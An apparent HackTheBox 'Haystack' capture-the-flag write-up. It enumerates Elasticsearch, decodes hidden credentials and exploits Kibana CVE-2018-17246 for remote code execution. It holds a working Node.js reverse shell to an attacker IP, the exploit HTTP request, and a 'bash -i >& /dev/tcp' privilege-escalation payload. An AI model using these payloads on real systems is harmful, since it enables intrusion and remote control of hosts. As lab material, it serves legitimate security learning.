Writeup for HacktheBox Haystack

Nmap detects three open ports, ssh, http and elasticsearch

root@kali:~/projects# nmap 10.10.10.115
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-13 01:49 EDT
Nmap scan report for 10.10.10.115
Host is up (0.021s latency).Not shown: 997 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

A browser connection to the host reveals a page with the image of a needle

Elasticsearch port is open so we can query available indexes

root@kali:~/projects# curl 10.10.10.115:9200/_cat/indices
green  open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0    1 0     4kb     4kb
yellow open quotes  ZG2D1IqkQNiNZmi2HRImnQ 5 1  253 0 262.7kb 262.7kb
yellow open bank    eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb

It is also possible to list more information about the server where Elasticsearch is running such as the OS version and JVM (Java Virtual VM) versions by querying the status/health endpoints provided by ElasticSearch

curl 10.10.10.115:9200/_nodes|jq

"jvm": {
"pid": 7240,
"version": "1.8.0_191",
"vm_name": "OpenJDK 64-Bit Server VM",
"vm_version": "25.191-b12",
"vm_vendor": "Oracle Corporation",
"start_time_in_millis": 1570937163298,
"mem": {
"heap_init_in_bytes": 1073741824,
"heap_max_in_bytes": 1065025536,
"non_heap_init_in_bytes": 2555904,
"non_heap_max_in_bytes": 0,
"direct_max_in_bytes": 1065025536
},



  "os": {
    "refresh_interval_in_millis": 1000,
    "name": "Linux",
    "arch": "amd64",
    "version": "3.10.0-957.1.3.el7.x86_64",
    "available_processors": 1,
    "allocated_processors": 1

Image contains a base64 string which decodes to a sentence in Spanish

la aguja en el pajar es "clave"
translated to English is:
The needle in the haystack is "key."

Fist approach at retrieving the pass

Using elasticdump we download the entire contents of the quotes index to file quotes.json on disk

npm install -g elasticdump
elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data

npm install -g elasticdump
elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data

Searching for clave (key) in the dump we find two entries,

grep clave quotes.json

{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}
{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}

Second approach at retrieving the pass

We search for the key (clave) in quotes index, and find two obfuscated entries.

10.10.10.115:9200/quotes/_search?pretty=true&q=clave

dXNlcjogc2VjdXJpdHkg
string after base 64 decode is
user: security


cGFzczogc3BhbmlzaC5pcy5rZXk=
string after base 64 decode is:
pass: spanish.is.key

kibana is runnign on the server on port 5601 but is not accessible from outside. We create a tunnel in order to reach kibana server from our client on port 5601

ssh -L 5601:127.0.0.1:5601 security@10.10.10.115

kibana version is vulnerable to exploit CVE-2018-17246 which allows attackers to run local JavaScript files

place the following file in /tmp/shellly.ps

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8888, "10.10.12.65", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

start a reverse shell on the attacker host

nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.12.65] from (UNKNOWN) [10.10.10.115] 41704
whoami
kibana
whoami

when executing following call in POSTMAN you will see the shell dropping in


POST /api/console/api_server?sense_version=@@SENSE_VERSION& apis=../../../../../../.../../../../tmp/shelly.js HTTP/1.1
Host: localhost:5601
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: /
Accept-Language: en-US,en;q-0.5
Accept-Encoding: gzip,deflate
Referer: http://localhost:5601/app/kibana
Content-Type: application/json
kbn-version: 6.4.2
Origin: http://localhost:5601
Connection: close
Cache-Control: no-cache
Postman-Token: 050a62bb-ff42-42b3-a5c3-2572078d5087,8da507f4-57e2-47f0-9818-385a5bfcb998
Content-Length: 0
cache-control: no-cache

elevate to an interactive shell

python -c "import pty;pty.spawn('/bin/bash')"

start a reverse shell on port 1234

nc -lvnp 1234

inspect the logstash configuration files, notice they execute files found in /opt/kibana having a pattern of logstash_*

We take advantage of that and craft a line that will spawn reverse shell

echo "Ejecutar  comando: bash -i >& /dev/tcp/10.10.12.65/1800 0>&1" > /opt/kibana/logstash_3.txt

View the root flag

[root@haystack /]# cd /root
cd /root
[root@haystack ~]# ls -ltr
ls -ltr
total 8
-rw-------. 1 root root 1407 nov 28  2018 anaconda-ks.cfg
-rw-------. 1 root root   33 feb  6  2019 root.txt
drwxr-xr-x. 3 root root   17 ago  5 05:43 vmware-tools
[root@haystack ~]# cat root.txt	
cat root.txt
3f5f727c38d9f70e1d2ad2ba11059d92